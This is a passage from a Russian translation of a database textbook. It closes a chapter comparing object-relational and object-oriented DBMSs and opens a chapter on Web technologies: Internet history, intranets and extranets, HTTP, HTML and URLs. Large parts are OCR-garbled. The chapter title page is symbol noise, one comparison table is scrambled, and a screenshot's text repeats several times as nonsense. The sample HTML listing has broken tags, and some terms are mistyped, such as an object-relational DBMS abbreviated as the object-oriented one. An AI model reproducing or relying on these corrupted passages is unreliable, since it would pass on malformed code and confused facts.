В ОРСУБД может быть предусмотрена универсальная шаблонная структура индекса, которая будет достаточно общей, чтобы охватить большинство проектируемых пользователями индексных структур, и одновременно обеспечит взаимодействие с обычными механизмами СУБД. Например, шаблон обобщенного дерева поиска (Generalized Search Tree — GiST) представляет собой шаблонную индексную структуру на основе В-дерева, которая совместима со многими индексными структурами на основе деревьев и позволяет минимизировать объем требуемого собственного программного кода (Hellerstein et al., 1995).
23.6. Сравнительная характеристика ОРСУБД и ООСУБД
В заключение сравним объектно-реляционные и объектно-ориентированные СУБД с трех точек зрения: моделирование данных (табл. 23.4), доступ к данным (табл. 23.5) и совместное использование данных (табл. 23.6). При этом предполагается, что будущие ОРСУБД будут удовлетворять требованиям стандартов SQL3/SQL4.
Таблица 23.4. Сравнение моделей данных в ОРСУБД и ООСУБД
Функция
ОРСУБД
ООСУБД
Идентичность объекта
Поддерживается на основе типа REF
Поддерживается ,
Инкапсуляция
Поддерживается на основе UDF-типов
Поддерживается, но нарушается для запросов
Наследование
Поддерживается (отдельные иерархии для UDT-типов и таблиц)
Поддерживается
Полиморфизм
Поддерживается (вызов UDF-функции на основе универсальной функциональной модели)
Поддерживается, как в объектноориентированном языке программирования
Составные объекты
Поддерживаются на основе UDT-типов
Поддерживаются
Связи
Строгая поддержка на основе пользовательских ограничений целостности
Поддерживаются (например, с помощью библиотек классов)
Таблица 23.5. Сравнение методов доступа к данным в ОРСУБД и ООСУБД
Функция
ОРСУБДООСУБД
Создание перманентных данных и доступ к ним
Поддерживается, но не прозрачноПоддерживается, но степень
прозрачности варьируется для разных продуктов
Произвольные запросы
Строгая поддержкаПоддерживается на основе
стандарта ODMG 2.0
Навигация
Ограничения целостности
Сервер объек- тов/сервер страниц
Эволюция схемы
Поддерживается на основе типа REFСтрогая поддержка
Строгая поддержкаНе предусмотрены
Сервер объектовОба
Ограниченная поддержкаПоддерживается, но степень
поддержки варьируется для разных
продуктов
Таблица 23.6. Сравнение способов совместного использования данных в ОРСУБД и ООСУБД
Функция
ОРСУБД
ООСУБД
ACID-транзакции
Строгая поддержка
Поддерживается
Восстановление
Строгая поддержка
Поддерживается, но степень поддержки варьируется для разных продуктов
Усовершенствованные модели обработки транзакций
Не предусмотрены
Поддерживаются, но степень поддержки варьируется для разных продуктов
Безопасность, целостность и представления
Строгая поддержка
Ограниченная поддержка
Резюме
Не существует общепринятого стандарта расширенной реляционной модели данных. Имеется лишь широкий выбор разных моделей, чьи характеристики зависят от способа и степени внесенных расширений. Однако все модели совместно используют одни и те же базовые реляционные таблицы и язык запросов, во всех используется понятие “объект”, а в некоторых имеется возможность хранить методы или процедуры/триггеры так же, как и данные в базе данных.
Для систем, которые представляют расширенную реляционную модель данных, используются самые разнообразные термины. Сначала для описания таких систем применялся термин расширенная реляционная СУБД, или РРСУБД. Однако в последнее время появился более емкий термин — объектно-реляционная СУБД, или ООСУБД, акцентирующий тот факт, что в эту систему включено понятие “объект”. И совсем недавно стал использоваться термин универсальный сервер, универсальная СУБД, или УСУБД.
Расширения стандарта SQL3 включают: типы-строки, пользовательские типы (UDT-типы), пользовательские подпрограммы (UDR-подпрограммы), полиморфизм, наследование, ссылочные типы и идентичность объектов, типы- коллекции (ARRAY, SET, LIST и MULTISET), новые языковые конструкции, которые
делают язык SQL вычислительно полным, триггеры и поддержка больших объектов — бинарных больших объектов (BLOB-объектов) и символьных больших объектов (CLOB-объектов).
■ Оптимизатор запросов лежит в основе высокой производительности РСУБД, поэтому он также должен быть расширен сведениями о способах эффективного выполнения пользовательских функций, использования преимуществ новых индексных структур, преобразования запросов и перемещения по данным с помощью ссылок. Полное раскрытие особенностей такого критического и трудно настраиваемого компонента СУБД, а также обучение сторонних разработчиков технологиям оптимизации является основной задачей разработчиков СУБД.
■ В традиционных РСУБД для ускорения доступа к данным используются индексы на основе структуры В-дерева. Благодаря возможности определять в ОРСУБД сложные типы данных для эффективного доступа к данным требуется использовать специализированные индексные структуры. В некоторых ОРСУБД для быстрого доступа к двумерным и трехмерным данным, а также для предоставления возможности индексировать результат выполнения функции предусмотрена поддержка дополнительных индексных типов, например универсальных В-деревьев или R-деревьев (региональных деревьев). Механизм встраивания любой пользовательской индексной структуры обеспечивают наивысший уровень гибкости.
Вопросы
Какие типичные функциональные возможности должны предоставляться любой ОРСУБД?
Какие преимущества и недостатки свойственны расширенной реляционной модели данных?
Какие основные функциональные возможности определены в новом варианте стандарта языка SQL?
Назовите расширения, которые необходимо внести в процедуры обработки и оптимизации запросов для полной поддержки функций ОРСУБД.
Укажите, какие проблемы безопасности связаны с введением пользовательских методов, и предложите возможные варианты решения этих проблем.
Упражнения
Проанализируйте используемую вами реляционную СУБД. Назовите объектно-ориентированные функции, поддерживаемые этой системой. Какие дополнительные функциональные возможности они предоставляют пользователям?
Проанализируйте реляционную схему примера с отелями из упражнений в главе 11. Перепроектируйте эту схему для получения всех преимуществ, предоставляемых новыми функциями, предусмотренными стандартами SQL3 и SQL4. Добавьте в созданную схему необходимые функции, определяемые пользователем.
Создайте SQL-операторы по правилам стандартов SQL3 и SQL4, реализующие запросы из упражнений 11.7 - 11.26.
Создайте триггер для операции вставки в таблицу списка рассылки, в который помещаются имена и адреса всех постояльцев, которые останавливались в отелях за несколько дней до или после нового года в течение последних двух лет.
Повторно выполните упражнение 23.7 для инженерно-конструкторского учебного проекта из упражнений главы 19.
Создайте объектно-реляционную схему для учебного проекта DreamHome, который представлен в разделе 1.7. Добавьте в нее необходимые пользовательские функции.
Создайте объектно-реляционную схему для учебного проекта Wellmeadows, который представлен в приложении А. Добавьте в нее необходимые пользовательские функции.
Предположим, что директор компании DreamHome предложил вам провести исследование и подготовить отчет о возможности использования объектнореляционной СУБД в данной организации. В этом отчете должно быть проведено сравнение технологии реляционных СУБД с объектно-реляционными СУБД, а также указаны преимущества и недостатки развертывания ОРСУБД в данной организации с указанием предполагаемых проблемных областей. В отчете должна быть рассмотрена возможность применения в организации объектно-ориентированной СУБД, а также выполнен сравнительный анализ применения этих двух типов систем в компании DreamHome. Наконец, отчет должен содержать полностью обоснованное заключение о целесообразности применения ОРСУБД в компании DreamHome.
888944980888944980
888
944
980
888
944
980
Перспективные направления
Глава 24. Web-технологии и СУБД
Глава 25. Хранилища данных
Глава 26. OLAP и разработка данных
f#
ГЛАВА
s
И!
? Web-технологии и (^Д
В этой главе... .8' ^ ^^*й
Основные .сведения об Internet, Web, HTTP, НТМЬ’й'ЙДЁ.
\Р1Й)ЛЙчия между двухуровневой и трехуровневой *.88?=я1йархитектурами “клиент/сервер”.' j
й ЗПр^муп^ства и недостатки среды World Wide Web как ИМИЙИМ^^ для работы с базами данных..
|||||№Д|^^баз данных в среде Web: ; В^1ДМ|Й
в|||||||||||УGateway Interface (CGI);.Я^Ж®!
|М11Ид^^ вставки Server-Side Includes;
■■l^^HTTP;||Д1в
Й!$|№Web-сервера;':й.-Я^ J:
у||^расширения JDBC, JSQL и JRB; Я :
||||||||||^VBScript; :.:.J^iK■®::111Ж
|||j|||^Active Platform: технр|||||и Actiye ,Ж|Ж
^Яу-:Pages (АВР^^^хнологии Active Data Objects (ADO);':
» платформа Oracle Network Cpinputing Architecture,
Проблемы обеспечения безопасностй в Web-среде и способы их разрешениям <
Предварительные версий спецификащш'НТТР/1Д и XML (extensible Markup language) и их возможное влияние на
B|||M8ii8^Hiiigiiiil^
В настоящее время (а прошло чуть больше 10 лет (1989) с момента разработки ее первоначальной концепции) среда World Wide Web (Web-среда, WWW, или W3) стала, пожалуй, самой популярной и самой мощной сетевой информационной системой в мире. В последние годы ее рост был почти экспоненциальным, а момент первого появления принято считать началом информационной революции, которая будет продолжаться и в следующем десятилетии. В настоящее время комбинирование технологий World Wide Web и технологий баз данных открывает множество новых возможностей создания все более совершенных приложений баз данных.
Web-среда представляет собой очень привлекательную платформу для разработки и распространения информационно-центрированных (data-centric) интерактивных приложений. Благодаря повсеместному распространению Web-технологий, созданные для этой среды приложения обладают глобальной доступностью для пользователей и организаций. Поскольку Web-архитектура была спроектирована как платформеннонезависимая, она обладает значительным потенциалом в отношении существенного сокращения расходов на развертывание приложений и обучение персонала. В настоящее время многие организации быстрыми темпами создают новые или усовершенствуют старые приложения баз данных с целью использования всех преимуществ, достигаемых при выборе Web-технологии в качестве стратегической платформы воплощения инновационных бизнес-решений. Данный подход, по сути, превращает подобные компании в Web-центрированные организации.
Начав свое развитие в недрах правительственных и образовательных организаций, в настоящее время сеть Internet стала самой значительной коммуникационной средой для различных организаций, образовательных и правительственных учреждений, а также частных лиц. Темпы роста глобальной сети Internet и корпоративных сетей intranet/extranet будут оставаться высокими и в следующем десятилетии, что в итоге приведет к достижению небывалого уровня глобальной взаимосвязи.
Сегодня многие Web-сайты построены на основе файловых систем, в которых каждый документ хранится в отдельном файле. Для небольших Web-сайтов подобная структура вполне приемлема, но в случае крупных Web-сайтов подобное решение существенно усложняет процессы управления данными. Например, достаточно сложно организовать своевременное обновление содержимого сотен или тысяч разных документов, хранящихся в отдельных файлах. Однако еще более трудной задачей является поддержание актуальности связей между этими файлами, особенно если документы создаются разными авторами.
Вторая проблема является следствием того факта, что в настоящее время многие Web-сайты содержат в основном динамичную информацию, например сведения об имеющихся товарах и ценах на них. Управление потоком подобной информации одновременно в базе данных и в отдельных HTML-файлах может оказаться просто чудовищной задачей, особенно в отношении синхронизации вносимых изменений. По этим и многим другим причинам непосредственный доступ к базам данных из Web-среды явился именно тем способом, который получил наиболее широкое распространение при организации управления Web-информацией или динамически меняющимся содержимым Web-сайта. Хранение Web-информации в базе данных может либо заменять, либо дополнять сохранение ее в обычных файловых структурах. Назначение этой главы состоит в изучении некоторых современных технологий интеграции СУБД в Web-среду с целью получения общего представления о текущем состоянии дел в этой области. Полное рассмотрение всех аспектов этих технологий выходит за рамки данной книги, однако заинтересованный читатель сможет найти более подробные сведения при чтении материалов, упомянутых в списке литературы, приведенном в конце книги.
Структура этой главы
В разделе 24.1 дается краткое описание основных понятий Internet и Web- технологий. В разделе 24.2 обсуждается вопрос пригодности Web-среды для использования в качестве платформы приложений баз данных. В разделах 24.3-24.10 рассматриваются некоторые из существующих подходов интеграции баз данных в среду Web. В разделе 24.11 обсуждаются проблемы обеспечения безопасности в Web-среде,
а также предлагаются некоторые способы их устранения. Завершается эта глава кратким обзором некоторых из разрабатываемых в настоящее время предложений, способных повлиять на методы интеграции СУБД в среду Web. Все приведенные в этой главе примеры взяты из учебного проекта DreamHome, описание которого можно найти в разделе 1.7. Для сокращения размера данной главы некоторые наиболее сложные или длинные примеры перенесены в приложение Ж.
Введение в Internet и Web
Internet Всемирный набор взаимосвязанных компьютерных сетей.
Internet состоит из многих отдельных, но связанных между собой сетей, принадлежащих коммерческим, образовательным и правительственным организациям, а также поставщикам услуг Internet, так называемым Inter net-провайдерам (Internet Service Provider — ISP). В число предлагаемых в Internet услуг входит электронная почта (e-mail), средства проведения конференций и бесед, средства удаленного доступа к компьютерам, посылки и получения файлов. Основы этой сети были заложены в конце 60-х и начале 70-х годов при выполнении экспериментального проекта APRANET (Advanced Research Projects Agency NETwork) Министерства обороны США, целью которого было исследование живучести и устойчивости сетей к частичным повреждениям (например, при взрывах ядерных бомб).
В 1982 году протокол TCP/IP (Transmission Control Protocol and Internet Protocol) был принят в качестве стандартного коммуникационного протокола для сети APRANET. Протокол TCP регламентировал корректную доставку сообщений с одного компьютера на другой, а протокол IP — посылку и получение пакетов данных при передаче их между разными компьютерами на основе четырехбайтного адреса назначения (IP-адреса), который присваивается той или иной организации уполномоченными лицами сети Internet. Термин TCP/IP иногда относят к целому семейству протоколов сети Internet, которые работают на основе TCP/IP: FTP (File Transfer Protocol), SMTP (Simple Mail Transfer Protocol), Telnet (Telecommunication Network), DNS (Domain Name Service), POP (Post Office Protocol) и т.д.
В процессе разработки этой технологии военные установили прочные связи с большими корпорациями и университетами. В результате ответственность за продолжение исследований в этой области была перенесена на Национальный фонд научных исследований США (National Science Foundation — NSF), а в 1986 году была создана сеть NSFNET (National Science Foundation NETwork), которая образовала новую магистраль, ставшую стержневым сегментом всей объединенной сети. Под эгидой NSF объединенная сеть получила всеобщую известность как сеть Internet. В 1995 году сеть NSFNET прекратила свое существование как основная магистраль сети Internet, а ее место заняла система из нескольких полностью коммерческих магистралей. В настоящее время сеть Internet можно сравнить с электронным городом, заполненным виртуальными библиотеками, витринами магазинов, офисами, художественными галереями и т.д.
Сеть Internet имеет еще одно популярное, особенно в средствах массовой информации, название — информационная супермагистраль (Information Superhighway). Это — метафорическое название будущей всемирной сети, которая обеспечит связь, доступ к информации и оперативные службы для пользователей во всем мире. Данный термин впервые прозвучал в речи вице-президента США Эла Гора (Al Gore), посвященной планам построения высокоскоростной национальной сети передачи данных, прототипом которой является сеть Internet. В своей книге “Road Ahead” Билл Гэйтс (Bill Gates) сравнил построение информационной супермагистрали с созданием национальной системы автомагистралей США, причем сеть Internet рассматривается лишь как начальный этап в создании нового порядка сетевых коммуникаций (1995).
Сначала сеть Internet получила финансовую поддержку со стороны NSF как средство совместного использования всеми американскими университетами вычислительных ресурсов пяти национальных суперкомпьютерных центров. Число пользова-
телей сети Internet быстро возрастало, поскольку по мере удешевления доступа стало возможным подключение индивидуальных пользователей, имеющих личные персональные компьютеры. В начале 1990-х годов ценность свободно распространяемой информации в этой сети возросла до такой степени, что возникла необходимость в специальных средствах индексирования и поиска данных. В ответ на такой спрос появились программы Archie, Gopher, Veronica и WAIS (Wide Area Information Service). Они предоставляли подобные услуги с помощью командного интерфейса, построенного на основе меню. В противоположность этому, в среде World Wide Web для поиска и просмотра информации используется гипертекст.
Начав свое развитие с горстки соединенных между собой узлов сети APRANET, Internet постепенно превратилась в сеть, которая по оценке на январь 1997 года насчитывала более 100 миллионов пользователей. Год спустя эта цифра возросла до 270 миллионов пользователей в более чем 100 странах мира (Netree, 1998). Причем ежемесячно их число возрастает приблизительно на один миллион. По оценкам исследовательской и консалтинговой фирмы International Data Research (IDG), к концу этого века Internet будет включать 199 миллионов пользователей Web и 3,5 миллиона развернутых intranet-серверов (1998).
intranet Единственный Web-сайт или группа Web-сайтов, принадлежащих одной организации и доступных только членам этой организации.
Стандарты сети Internet в отношении обмена электронной почтой и публикации Web-страниц стали чрезвычайно популярными и в плане использования их в бизнес- целях внутри закрытых сетей, получивших название intranet. Обычно закрытая сеть intranet подсоединена к открытой сети Internet с помощью брандмауэра (раздел 24.11.2), устанавливающего некоторые ограничения на тип передаваемой в Internet и получаемой из нее информации. Например, сотрудникам организации может быть позволено использовать внешнюю электронную почту и осуществлять доступ к любым внешним Web-сайтам, но всем внешним пользователям разрешается только посылать почту адресатам внутри этой организации и запрещено просматривать содержимое Web-страниц, опубликованных в пределах сети intranet. Защищенные сети intranet являются наиболее быстро растущим сегментом Internet, так как они гораздо дешевле и проще в управлении, чем закрытые частные сети на основе специализированных протоколов.
extranet Разновидность сети intranet, которая частично доступна санкционированным внешним пользователям.
По сравнению с intranet, которая находится за брандмауэром и доступна только членам данной организации, сеть extranet обеспечивает различные уровни доступа и для внешних пользователей. Доступ в extranet обычно возможен только при условии правильного ввода учетного имени и пароля пользователя, определяющих ресурсы extranet, доступные данному пользователю. В настоящее время сети extranet стали весьма популярным средством обмена данными между бизнес-партнерами.
В течение многих лет для достижения подобных целей использовались иные подходы. Например, спецификация электронного обмена данными (Electronic Data Exchange — EDI) позволяет организациям связать воедино системы учета товаров и учета покупок/заказов. Подобные связи стимулировали развитие таких приложений, как система оперативного производства и поставки товаров (just-in-time — JIT), в которой товары производятся и поставляются распространителям продукции по мере необходимости. Однако для реализации EDI-технологии требуется развернуть довольно дорогую инфраструктуру. В одних организациях для этого арендовались выделенные линии, а в других использовались предлагаемые сторонними фирмами сети с дополнительными услугами (value-added network —- VAN), которые все еще гораздо
дороже, чем услуги Internet. Для применения технологии EDI также требовалось осуществить дорогостоящую интеграцию приложений. В результате технология EDI довольно медленно распространялась за пределы ключевых областей ее применения: транспорта, производства и розничной торговли.
В противоположность этому, реализация сети extranet осуществляется относительно просто, поскольку в данном случае применяются стандартные компоненты Internet: Web-сервер, броузер или использующие аплеты приложения, а также сама сеть Internet как коммуникационная инфраструктура. Кроме того, сеть extranet позволяет организациям предоставлять внешним пользователям свою внутреннюю информацию в виде некоторого товара. Например, фирма Federal Express применяет средства extranet для того, чтобы ее клиенты могли следить за маршрутом перемещения их посылок. Используя extranet, организации могут также сэкономить деньги, переместив всю информацию с бумажных носителей в электронную среду Web, в которой пользователи сами смогут найти все необходимые им сведения и именно тогда, когда они им потребуются. При этом организация освобождается от необходимости тратить значительные средства на печать, подборку и упаковку, а также рассылку информации по почте.
Среда World Wide Web
World Wide Web Гипермедиа система, предоставляющая простые средства типа “укажи и щелкни”, используемые для просмотра информации в сети Internet с помощью механизма гиперссылок.
Подсистема World Wide Web (Web, WWW или W3) предоставляет простые средства типа “укажи и щелкни” для просмотра огромного количества страниц информации, размещенной в сети Internet (Berners-Lee et al., 1992, 1994). Информация в среде Web размещается на Web-страницах, оформленных в виде подборки текста, графики, рисунков, аудио- и видеоматериалов. В дополнение к этому, Web-страница может содержать гиперссылки на другие Web-страницы, которые позволяют пользователям ориентироваться и перемещаться в информационной среде, причем не обязательно в последовательном порядке.
Успех Web-технологии связан в основном с ее простотой — она позволяет без особых хлопот предоставлять, использовать и ссылаться на информацию, географически распределенную по всему земному шару. Более того, эта технология гарантирует пользователям возможность просмотра мультимедиа-документов независимо от используемого типа аппаратного обеспечения. Web-технология также совместима с другими существующими коммуникационными протоколами: Gopher, FTP (File Transfer Protocol), NNTP (Network News Transfer Protocol) и Telnet (для сеансов удаленного входа в систему).
Web-среда состоит из сети компьютеров, которые могут действовать либо как серверы, предоставляющие информацию, либо как клиенты (которые обычно называются броузерами), запрашивающие информацию. Примерами Web-серверов являются программные пакеты Apache, NCSA HTTPd, Netscape Communication Server и Microsoft Internet Information Server, примерами броузеров — программы NCSA Mosaic, Netscape Navigator и Microsoft Internet Explorer.
Информация в Web-среде хранится в документах, созданных на языке HTML (HyperText Markup Language), а потому броузеры при отображении документов должны понимать и правильно интерпретировать его дескрипторы. Протокол, согласно которому происходит обмен информацией между Web-сервером и броузером, называется протоколом HTTP (HyperText Transfer Protocol). Документы и отдельные местоположения данных внутри них определяются с помощью специальных адресов — Uniform Resource Locator (URL-адресов). Схема взаимодействия основных компонентов среды WWW показана на рис. 24.1.
Сеть НИР поверх TCP/IPСеть НИР поверх TCP/IPL Сеть HTTP поверх TCP/IPL Сеть HTTP поверх TCP/IP
Сеть НИР поверх TCP/IP
Сеть НИР поверх TCP/IP
L Сеть HTTP поверх TCP/IP
L Сеть HTTP поверх TCP/IP
Рис. 24.1. Основные компоненты среды World Wide Web
Протокол HTTP
HTTP Протокол, используемый для передачи Web-страниц в сети Internet.
Протокол HTTP (HyperText Transfer Protocol) определяет способ взаимодействия клиентов и серверов. Он представляет собой всеобщий, объектно-ориентированный, характеризующийся неизменностью состояния протокол передачи информации между серверами и клиентами (Berners-Lee, 1992). Текущей версией этого протокола является версия НТТР/1.0, которая была выпущена в 1995 году в виде документа RFC 1945, что отражает всеобщее использование этого протокола (Berners-Lee et al., 1995). (Request for Comments, или RFC — это тип документа, в котором предлагается описание стандартов или информация по различным темам. Многие стандарты Internet и сетевые стандарты были определены в виде RFC-документов, которые постоянно доступны в Internet. Каждый желающий может подать свои собственные предложения в виде RFC-документа.) В настоящее время существует предварительная версия улучшенного варианта этого протокола, которую мы более подробно рассмотрим в разделе 24.12.1.
Протокол HTTP основан на парадигме запроса-отклика, поэтому любая НТТР- транзакция состоит из следующих этапов.
Подключение —Запрос — Отклик — Закрытие —Подключение —Запрос — Отклик — Закрытие —клиент устанавливает соединение с Web-сервером, клиент посылает Web-серверу сообщение-запрос.
Подключение —
Запрос — Отклик — Закрытие —
Подключение —
Запрос — Отклик — Закрытие —
Web-сервер посылает клиенту ответ (HTML-документ), соединение с Web-сервером закрывается.
Протокол НТТР/1.0 является протоколом, не запоминающим состояния, т.е. каждое подключение закрывается сразу же после того, как сервер отправит ответ клиенту. Таким образом, Web-сервер не запоминает никаких сведений о предыдущих запросах. Для большинства приложений свойство отсутствия запоминания состояния является достоинством, поскольку при этом клиенты и серверы могут иметь простую логику и работать со “скромными” ресурсами без привлечения дополнительной оперативной и дисковой памяти для хранения информации о предыдущих запросах. К сожалению, присущее данному протоколу свойство отсутствия запоминания состояния затрудняет поддержку концепции сеанса, которая является базовым элементом понятия транзакции в СУБД. С целью компенсации этого недостатка протокола HTTP предлагались са-
мые разные схемы, например возврат клиентом Web-страниц со скрытыми полями, содержащими указатели транзакции, а также использование Web-форм, в которых вся информация вводилась локально, а затем пересылалась на сервер в пределах одной транзакции. Все эти схемы могут применяться для поддержки ограниченного круга типов приложений и требуют специальных расширений Web-сервера. ■
Язык HTML
HTML
Язык форматирования документов, большинства Web-страниц.
используемый для
создания
Язык HTML (HyperText Markup Language) является системой разметки или внесения специальных дескрипторов в документы, предназначенные для публикации в Web. В целом язык HTML определяет, что именно подлежит передаче между узлами сети. Это простой, но весьма мощный и независящий от платформы язык составления документов (Berners-Lee and Connoly, 1993). Язык HTML был стандартизован в документе IETF (Internet Engineering Task Force) с номером RFC 1866. Эту версию языка обычно называют стандартом HTML 2. Однако консорциум WWW (WWW Consortium — W3C) в настоящее время рекомендует использовать версию стандарта HTML 3.2 (W3C, 1998, а), тогда как последним вариантом спецификаций, находящимся сейчас в стадии разработки, является версия HTML 4.0 (W3C, 1998, б), которая будет рекомендована для использования по завершении ее открытого обсуждения.
Язык HTML является одним из подмножеств стандартного обобщенного языка разметки SGML (Standardized Generalized Markup Language), т.е. системы определения типов структурированных документов и языков разметки для представления экземпляров этих типов документов (ISO, 1986). Язык HTML является одним из подобных языков разметки. В листинге 24.1 приведен исходный текст некоторой HTML- страницы, а на рис. 24.2 показано ее представление в окне броузера. Ссылки в HTML-файле задаются с помощью дескриптора HREF, причем в окне броузера они выглядят как подчеркнутый текст. Во многих броузерах перемещение указателя мыши над ссылкой приводит к изменению его вида, что дополнительно подсказывает пользователю, что данный текст является гиперссылкой на другой документ.
1 Листинг 24.1. Текст некоторой Web-страницы на языке HTML
<HTML>
<HEAD>
<TITLE>Database Systems: A Practical Approach to Design, Implementation and Management </TITLE>'
</HEAD>
<BODY background=sky.jpg>
<H2>Database Systems: A Practical Approach to Design, Implementation and Manage- ment</H2>
<P>Thank you for visiting the Home Page of our database text book. From this page you can view online a selection of chapters from the book. Academics can also access the Instructor's Guide, but this requires the specification of a user name and password, which must first be obtained from Addison Wesley Longman. <BR>
<BR>
A HREF="http://cis.paisley.ac.uk/conn-ciO/book/toc.html">Table of Contents <BR> </Axa HREF="http://cis.paisley.ac.uk/conn-ciO/book/chapterl.html">Chapter 1 Introduction <BR>
/AXA HREF="http://cis.paisley.ac.uk/conn-ciO/book/chapter2.html">Chapter 2 Database Environment <BR>
/Axa HREF="http://cis.paisley.ac.uk/conn-ciO/book/chapter3.html">Chapter 3 The
Relational Data Model
</AX/P>
<PXA HREF=whttp://cis.paisley.ac.uk/conn-ciO/book/ig.htmlH>Instructor's Guide</AX/p>
<P>If you have any comments, we would be more than happy to hear from you.</P>
<PXIMG SRC=wnet.gif“ HEIGHT=34 WIDTH=52 ALIGN=CENTER>
<A HREF="mailto:conn-ciOgpaisley.ac.uk">EMail</A>
<IMG SRC="fax.gif" HEIGHT=34 WIDTH=43 ALIGN=CENTER>
<A> Fax: 0141~848~3542</P>
</BODY>
</HTML>
^Database Systems: A Practical Approach Io Design, Implementation and Management •• Netscape^Database Systems: A Practical Approach Io Design, Implementation and Management •• Netscape5 £&' &° j^CmXJTilMtpt^5 £&' &° j^CmXJTilMtpt^'Back''Back'$k> tolhltp //cts paisley ac uk/conn-ciO/book/index, html$k> tolhltp //cts paisley ac uk/conn-ciO/book/index, html^-^y^^0^^^^-^y^^0^^^^2^2Database Systems: A Practical ApproachtoDesign, Implementation and Management’Thank you for visiting the Home Page of our database text book From this page you can view online a ? ■ selection of chapters from the book Academics can also access the Instructor's'Guide, but this requires th^ specification of a user name and password, which must first be obtained from Addison Wesley Longman. - ' •Tak-U? of Cohl^b; -Charter I Ihrrodv.cuc rDatabase Systems: A Practical ApproachtoDesign, Implementation and Management’Thank you for visiting the Home Page of our database text book From this page you can view online a ? ■ selection of chapters from the book Academics can also access the Instructor's'Guide, but this requires th^ specification of a user name and password, which must first be obtained from Addison Wesley Longman. - ' •Tak-U? of Cohl^b; -Charter I Ihrrodv.cuc r*Жр^г 2 ВашШe b№>nrfitfnt . . ^Wb:^ -2.1Ь^Ч^^*Жр^г 2 ВашШe b№>nrfitfnt . . ^Wb:^ -2.1Ь^Ч^^If you have any comments, we would be more than happy to hear from you. ^^-^3 Fax 6141-848-3542 _.If you have any comments, we would be more than happy to hear from you. ^^-^3 Fax 6141-848-3542 _.BCBC№?®^»^«П5ЖТ^^^№?®^»^«П5ЖТ^^^
^Database Systems: A Practical Approach Io Design, Implementation and Management •• Netscape
^Database Systems: A Practical Approach Io Design, Implementation and Management •• Netscape
5 £&' &° j^CmXJTilMtpt^
5 £&' &° j^CmXJTilMtpt^
'Back'
'Back'
$k> tolhltp //cts paisley ac uk/conn-ciO/book/index, html
$k> tolhltp //cts paisley ac uk/conn-ciO/book/index, html
^-^y^^0^^^
^-^y^^0^^^
^2
^2
Database Systems: A Practical ApproachtoDesign, Implementation and Management’
Thank you for visiting the Home Page of our database text book From this page you can view online a ? ■ selection of chapters from the book Academics can also access the Instructor's'Guide, but this requires th^ specification of a user name and password, which must first be obtained from Addison Wesley Longman. - ' •
Tak-U? of Cohl^b; -
Charter I Ihrrodv.cuc r
Database Systems: A Practical ApproachtoDesign, Implementation and Management’
Thank you for visiting the Home Page of our database text book From this page you can view online a ? ■ selection of chapters from the book Academics can also access the Instructor's'Guide, but this requires th^ specification of a user name and password, which must first be obtained from Addison Wesley Longman. - ' •
Tak-U? of Cohl^b; -
Charter I Ihrrodv.cuc r
*Жр^г 2 ВашШe b№>nrfitfnt . . ^Wb:^ -2.1Ь^Ч^^
*Жр^г 2 ВашШe b№>nrfitfnt . . ^Wb:^ -2.1Ь^Ч^^
If you have any comments, we would be more than happy to hear from you. ^^-^3 Fax 6141-848-3542 _.
If you have any comments, we would be more than happy to hear from you. ^^-^3 Fax 6141-848-3542 _.
BC
BC
№?®^»^«П5ЖТ^^^
№?®^»^«П5ЖТ^^^
Pac. 24.2. Окно броузера Netscape Navigator, в котором отображается приведенная выше HTML-страница (см. листинг 24.1). Обратите внимание, что гиперссылки представлены в виде подчеркнутого текста
URL-адрес
URL- Строка из букв и цифр, обозначающая расположение или адрес неко- адрес торого ресурса в сети Internet, а также способ доступа к нему.
URL-адрес (Uniform Resource Locator) уникальным образом определяет место расположения документа (или ресурса) в сети Internet. Другими родственными понятиями являются URI-идентификаторы и URN-имена. URI-идентификаторы (Uniform Resource Identifiers) — это общий набор всех имен/адресов, которые относятся к ресурсам Internet. А URN-имена (Uniform Resource Names) также обозначают некий ресурс Internet, но делают это на постоянной и не зависящей от текущего расположения основе. URN-имена имеют очень общий характер и основываются на сервисах подстановки имен, а потому зависят от дополнительных сервисов, которые не всегда
широко доступны (Soilins and Masinter, 1994). С другой стороны, URL-адреса указывают на ресурс Internet, используя схему на основе расположения ресурса. Они являются самой распространенной схемой идентификации ресурсов и образуют основу HTTP-протокола и всей среды Web.
URL-адрес имеет достаточно простой синтаксис и состоит из трех частей: протокола подключения, имени узла и пути, по которому на этом узле может быть найден данный ресурс. Помимо этого, URL-адрес может также указывать порт, используя который можно подключиться к узлу (по умолчанию для протокола HTTP используется порт 80), а также строку запроса, которая является одним из основных способов передачи данных от клиента к серверу (например, в виде CGI-сценария). Синтаксис URL-адреса имеет следующий вид:
<протокол>://<узел>[:<порт>]/абсолютный_путь[? аргументы]
Здесь <протокол> описывает механизм, используемый броузером для сообщения с ресурсом. Наиболее распространенными методами доступа являются HTTP, S-HTTP (защищенный HTTP), file (т.е. загрузка файла с локального диска), FTP, mailto (т.е. посылка электронного письма по указанному адресу электронной почты), Gopher, NNTP и Telnet. Например, рассмотрим приведенный ниже URL-адрес:
http://WWW.w3.org/hypertext/WWW/MarkUp/MarkUp.html
Он указывает на основную страницу с HTML-информацией о комитете W3C. В данном случае в качестве протокола используется протокол HTTP, имя узла Internet — WWW.w3.org, а виртуальный путь к требуемому HTML-файлу — /hypertext/ WWW/MarkUp/MarkUp.html.
Статические и динамические Web-страницы
HTML-документ, хранимый в отдельном файле, является примером статической Web-страницы, т.е. его содержимое не изменяется до тех пор, пока не изменится сам файл. В противоположность этому, содержимое динамической Web-страницы генерируется всякий раз При доступе к ней. В результате динамическая Web-страница может обладать дополнительными возможностями, которых нет у статических Web-страниц.
Она может реагировать на данные, вводимые пользователем с помощью броузера. Например, динамические страницы способны возвращать данные, полученные после заполнения формы или в результате выполнения запроса к базе данных.
Она может быть настроена по требованиям конкретного пользователя. Например, как только пользователь установит собственные предпочтения при посещении некоторого Web-сайта или Web-страницы (например, укажет область своих интересов или уровень квалификации), эта информация может быть сохранена и впоследствии возвращаемая пользователю информация будет отобрана с учетом указанных предпочтений.
